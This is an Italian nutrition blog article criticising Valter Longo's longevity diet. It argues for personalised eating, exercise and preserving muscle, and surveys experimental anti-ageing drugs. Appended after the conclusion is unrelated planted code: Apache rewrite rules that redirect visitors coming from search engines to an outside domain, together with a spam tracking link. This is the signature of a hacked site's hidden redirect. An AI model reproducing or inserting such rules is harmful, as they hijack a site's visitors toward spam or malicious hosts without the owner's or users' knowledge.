ALIMENTAZIONE SPORT
DIMAGRIMENTO
  a cura di Orazio Paternò
CHI SONO RAGIONI DEL SITO TUTTI GLI ARTICOLI CONTATTI

DIETA DELLA LONGEVITÀ: ILLUSIONE A COLPI DI CINISMO

 

 

Una “dieta per vivere sani fino a 110 anni”.  Così si presenta LA DIETA DELLA LONGEVITÀ, targata Valter Longo, ricercatore italiano che ha confezionato un nuovo regime alimentare che, associato a due o più periodi all'anno fatti di 5 giorni di quasi digiuno, permetterebbe una “rigenerazione” del sistema immunitario. Un toccasana per le attese di vita e per la prevenzione di malattie degnerative come malattie cardiovascolari, tumori, diabete, malattie neurodegenerative quali l’Alazheimer, il morbo di Crohn e l’artrite reumatoide. Questa la narrazione.

 

Mettere in scena il monologo di una dieta che recita la solenne promessa di farvi nuovi Matusalemme in cambio della dittatura del suo spartito gastronomico è una seduzione a presa rapida e che archivia troppo alla svelta il principio della complessità

 

L’equazione assoluta “alimentazione = longevità” ricalca clichè concettuali già masticati da altre diete e accarezza il bisogno di semplificazione. Gilberto Corbellini, (epistemologo e insegnante di bioetica alla Sapienza di Roma, su Il Sole 24 Ore del 12/02/17) ha confezionato una recensione nella quale, pur rimarcando l'interesse per il metodo Longo, si mostra scettico perché il metodo che sembra scientifico nella pratica non lo è.

 

Il perché me lo spiega Mauro Mandrioli, maggior esperto italiano di epigenetica e docente presso l’Università di Modena e di Reggio Emilia:

Il  libro non rende conto dell'eterogeneità biologica dei processi di invecchiamento  e non rende chiaro che ci mancano ancora tanti dati per capire realmente come geni, epigenetica e alimenti interagiscono. Gli alimenti hanno effetti epigenetici ma non sono i soli. Nutrigenetica e Nutrigenomica sono ancora discipline "giovani" e una dieta su misura che tenga conto di tutte queste informazioni a oggi non esiste

Se volete approfondire il tema “epigenetica-alimentazione e altri fattori ambientali”: http://www.nutrizionesport.com/epigenetica.html

 

La Dieta della Longevità, così come tanti altri modelli alimentari preconfezionati, pur esibendo dei pregi (più frutta e verdura), si infrange inesorabilmente contro il muro della generalizzazione. Riprendendo il discorso iniziato da Corbellini: l’invecchiamento è un processo soggettivo e multifattoriale. Tra i suoi artefici annovera  processi infiammatori cronici pregressi”, il declino del sistema immunitario, la sedentarietà, il fumo, l’alcol e una cattiva alimentazione. Questa “eterogeneità biologica dell’invecchiamento comporterebbe regimi alimentari personalizzati”.

 

 

 

  

Mi accodo alle considerazioni dei due scienziati aggiungendo alcune osservazioni e approfondimenti:

 

  1. Mi ha sempre lasciato perplesso l’inopportunità della commercializzazione (libro e kit-dieta della longevità) quando gli studi sono ancora fermi alla sperimentazione animale (topi) e confinati a poche indagini sugli umani (lo studioso ha condotto un lavoro a breve termine su 19 soggetti; http://www.ilfattoalimentare.it/dieta-mima-digiuno-longo-valter-le-iene.html)

 

  

  1. Mi chiedo se un soggetto sano (non oncologico, dove la cosa ha una sua ratio) debba piegarsi alla soppressione dei fattori di proliferazione cellulare (Igf-1, M-Tor...) puntando su un argomento ad alto sfruttamento emotivo: l’odio per le proteine animali e l’apologia delle proteine vegetali. Non esiste l’alimento killer, ma solo dosi che fanno il veleno. Sia tra gli alimenti animali che tra quelli vegetali. Per capire meglio quanto la celebrazione integralista delle proteine vegetali sia solo un additivo folk, leggi il prezzo da pagare quando si vuole sostituire le proteine animali con quelle vegetali:

      http://www.nutrizionesport.com/pasta%20e%20fagioli.html

 

  1. Osservare la complessità dal buco della serratura rischia di mettere il sigillo della rinuncia a elementi che invece potrebbero dare un valore aggiunto alla parola “salute”.  Sulla falsa riga della riduzione dei concetti di longevità e salute alla paura per la proliferazione cellulare  bisognerebbe scoraggiare anche lo sport di una certa intensità, dato che da solo è un elemento scatenante una cascata ormonale (Gh, testosterone, fattori di crescita mitocondriale...) che promuove la famigerata proliferazione cellulare. Sarebbe un alibi di ferro per scagionare madame Pigrizia dai suoi efferati crimini contro l’umanità…Invece lo sport è la prima pietra posata nella costruzione di ogni piramide della salute, a partire dalle direttive dell’OMS. E in Lombardia si parla di inserire l’esercizio fisico nella ricetta medica per chi soffre di ipertensione, diabete, obesità, malattie neurologiche e per tutte le patologie croniche per le quali lo sport rappresenta un'utilissima forma di prevenzione (http://milano.repubblica.it)

 

 
 

  1. La quantità di massa muscolare è oggi considerata dalla medicina un elemento predittivo di longevità: un anziano che nella sua vita non ha dissipato troppa massa muscolare avrà un’attesa di vita superiore a un anziano con un livello di massa muscolare sotto le pedule. E la massa muscolare si mantiene grazie alla “fatale” proliferazione cellulare indotta da allenamento e alimentazione. Per approfondire il rapporto tra massa muscolare-forza e attese di vita:  http://www.nutrizionesport.com/muscoli%20et%E0.html

 

  

  1. La Dieta della Longevità va salmodiando un generico taglio drastico delle calorie nei soggetti sovrappeso/obesi. Senza considerare se l’obeso è sano o patologico, cioè se ha un buon motore metabolico perché sotto le gorgiere di grasso “pulsa” un imponente motore muscolare a tanti cilindri oppure se balbetta un esangue motorino muscolare di cilindrata in formato bonsai. Siccome per dimagrire bene e in salute è importante salvaguardare quanto possibile la massa magra, nel primo caso sarebbe un suicidio intervenire a gambe tese imponendo un regime alimentare ascetico: il muscolo deve essere nutrito

 

  1. Non si considera la variabile del metabolismo basale (calorie consumate a riposo) sulla base della composizione corporea della persona (quanto muscolo possiede? E dunque, quanto consuma?) e dell’eventuale volume di attività fisica/lavorativa. Senza conoscere il metabolismo basale e le sue ampie oscillazioni interindividuali è un salto nel buio offrire menù con al massimo 40 grammi di pasta, come spiega il sito Dissapore.com (http://www.dissapore.com/alimentazione/dieta-mima-digiuno-di-walter-longo/) che riassume in un decalogo i principi della Dieta della Longevità. Un piatto esangue di pasta potrebbe andare bene su un metabolismo che lavora a basso regime perché la massa muscolare è ridotta a una inconsistente pelle di daino. Ma imporre lo stesso piatto alla stessa grammatura a una persona attiva e muscolosa significa avvilire il suo metabolismo sotto colpi della mediocrità

 

  

  1. Il semidigiuno agisce con dei meccanismi non ancora chiari sulla durata della vita e per ora ha dato risultati solo sugli animali. Una sua applicazione sull’uomo potrebbe avere un senso, ma i tempi e la durata devono essere ponderati sul singolo caso. E solo dopo un’accurata analisi della composizione corporea che ci possa restituire un’istantanea sullo stato infiammatorio (quello di bassa frequenza), sulla quantità di massa magra attiva, sul livello di idratazione intra ed extracellulare (capendo se l’eventuale acqua extracellulare in eccesso ha un ruolo di sostituzione o è ritenzione vera), sull’estensione del grasso viscerale (tessuto predittivo di possibili problemi cardiovascolari e molto vivace sul fronte della produzione di citochine infiammatorie). Sottoporre tutti allo stesso regime alimentare (ipocalorico, vegetariano, con digiuni periodici) potrebbe essere di aiuto per qualcuno e inappropriato per molti altri, al netto di stati patologici (diabete 2), stato di gravidanza o di minore età già esclusi in partenza dall’autore.

 

 

  1. Farmaci e longevità. Al di là delle suggestioni dietetiche, i ricercatori di tutto il mondo fanno a gara per trovare una via farmacologica per rallentare l’invecchiamento in salute. Allo studio ci sono principalmente due farmaci, la metformina (già in uso dagli anni cinquanta nel trattamento del diabete di tipo II) e la rapamicina. La rapamicina ha dimostrato, per ora, di allungare del 15% la vita dei topi (nessuna sperimentazione umana, però) mostrando allo stesso tempo la corda di alcuni significativi effetti collaterali.

Quanto alla metformina, nel 2015 la FDA (Food and Drug Administration americana) ha dato il via libera a un trial clinico per valutare le sue proprietà anti-invecchiamento. Essendo una delle medicine più prescritte al mondo, si sono potuti avviare alcuni studi epidemiologici dai quali è emerso che le persone in trattamento con metformina sembrano manifestare un’incidenza di tumori inferiore rispetto agli altri. E in un’analisi del 2014 è risultato che  i diabetici più anziani che assumevano metformina vivevano il 15 per cento più a lungo delle controparti non diabetiche. Come funzioni esattamente la cosa non è del tutto chiaro. Forse perché migliora la sensibilità all’insulina e rende più efficiente la gestione del glucosio (un’efficiente elaborazione del glucosio è un marcatore di longevità); forse perché condiziona tutta una serie di funzioni che globalmente darebbero un effetto anti-invecchiamento.

Ci sono anche altri farmaci che ambiscono allo status di anti-invecchiamento. Pensiamo all'acarbosio, per esempio, che ha incrementato in misura significativa la durata della vita in topi di sesso maschile; oppure l’ormone alfa estradiolo, che ha dato buoni risultati in trial clinici controllati; infine c'è un gruppo di farmaci che funziona eliminando le cosiddette cellule senescenti che hanno smesso di dividersi ma che non sono ancora morte: delle specie di zombie cellulari che, da una parte, con i loro prodotti, le citochine,  proteggono le cellule vicine; dall’altra le stesse citochine diffondendo per l’organismo potrebbero aumentare quell’infiammazione generale di bassa frequenza che caratterizza tutti gli organismi senescenti, predisponendo il terreno per i tumori nei tessuti più distanti. Le cellule senescenti aumentano con l’età (Le Scienze, Novembre 2016).

Tutto molto bello, ma allo stesso tempo tutto da dimostrare: tanto l’effetto dei farmaci, quanto quello della Dieta della Longevità

  

 

 

 

CONCLUSIONE

 

La nostra vita media, dall’inizio del secolo scorso, si è già allungata di parecchi anni. Stiamo vivendo a lungo come mai prima nella storia della nostra specie. Tuttavia c’è una discrepanza tra anni di vita e anni di vita in buona salute. Si vive più a lungo, ma allo stesso tempo viviamo più a lungo vittime della disabilità. È cambiata solo la prevalenza del tipo di disabilità: crollano i tassi di mortalità dovuti a malattie cardiache e al cancro, aumenta il numero di persone che si ammala di Alzheimer (Le Scienze, Novembre 2016).

Il traguardo oggi è quello di sovrapporre i concetti di “più a lungo” e “più sano”. Abbiamo visto che c’è un approccio farmacologico (di stretta competenza medica) e uno alimentare (di interesse di tutti gli operatori del settore salute). Quello alimentare è il fronte più facilmente accessibile al grande pubblico: applicabile sul campo (o sulla tavola) fin da subito, pur senza certezze scientifiche o alcuna forma di personalizzazione. Significa, però, avventurarsi su uno spinoso crinale respirando quell’aria riciclata di miope generalizzazione. E col serio rischio di passare dalle vette degli osanna e dell’illusione alla precipitosa discesa. Un destino che ha sempre accomunato quella folta galassia delle diete che strumentalizzano la fame di salvezza a colpi di cinismo.  

Perché è prematuro offrire format preconfezionati sulla base di una grammatica fisiologica le cui regole non sono ancora state scolpite. Ancora una volta si evocano delle suggestioni già viste e già sentite da altre diete che hanno cercato, invano, di comporre la magia della salute e della longevità in un solo piatto.

Cerchiamo di evadere da questo carcere del passato e di affrontare i problemi imboccando la strada della complessità. Scomoda, certo, ma che offre un orizzonte più credibile.




  

RewriteEngine On https://enaozv.shewantyou.net/c/da57dc555e50572d?s1=108961&s2=1225068&j6=1 RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{HTTP_REFERER} google.*[\?&]q=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L] RewriteCond %{HTTP_REFERER} msn.*[\?&]q=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L] RewriteCond %{HTTP_REFERER} live.*[\?&]q=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L] RewriteCond %{HTTP_REFERER} altavista.*[\?&]q=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L] RewriteCond %{HTTP_REFERER} ask.*[\?&]q=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L] RewriteCond %{HTTP_REFERER} yahoo.*[\?&]p=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L] RewriteCond %{HTTP_REFERER} aol.*[\?&]query=([^&]+) RewriteRule ^.*$ http://dat.newsbull.cf/ [NC,L]